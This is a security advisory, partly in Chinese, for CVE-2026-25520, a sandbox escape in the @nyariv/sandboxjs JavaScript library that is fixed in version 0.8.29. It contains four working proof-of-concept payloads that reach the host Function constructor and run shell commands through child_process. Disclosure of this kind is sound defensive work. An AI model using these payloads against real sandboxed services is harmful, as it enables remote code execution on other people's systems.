CVE-2026-25520

描述

### Summary The return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox. ### Details The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. ### PoC ```js const s = require('@nyariv/sandboxjs').default; const sb = new s(); payload = ` console.log( Object.values(this).at(0)( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), ); ` sb.compile(payload)().run(); ``` ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` console.log( Object.entries(this)[0].at(1)( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), ); ` sb.compile(payload)().run(); ``` ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` console.log( Object.entries(this) .at(0) .map((f) => { if (typeof f === 'function') { f.call('', 'return process')() .getBuiltinModule('child_process') .execSync('ls -lah', { stdio: 'inherit' }); } }), ); ` sb.compile(payload)().run(); ``` ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` const t = (f) => { f.call('', 'return process')() .getBuiltinModule('child_process') .execSync('ls -lah', { stdio: 'inherit' }); }; console.log(t.call(...Object.entries(this)[0])); ` sb.compile(payload)().run(); ``` ### Impact Sanbox Escape -> RCE

如何修補 CVE-2026-25520

要修補 CVE-2026-25520,請將受影響套件升級到下列已修補版本。

• —升級至 0.8.29 或更新版本

CVE-2026-25520 正在被利用嗎?

低 — EPSS 為 0.8%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• from 0, < 0.8.29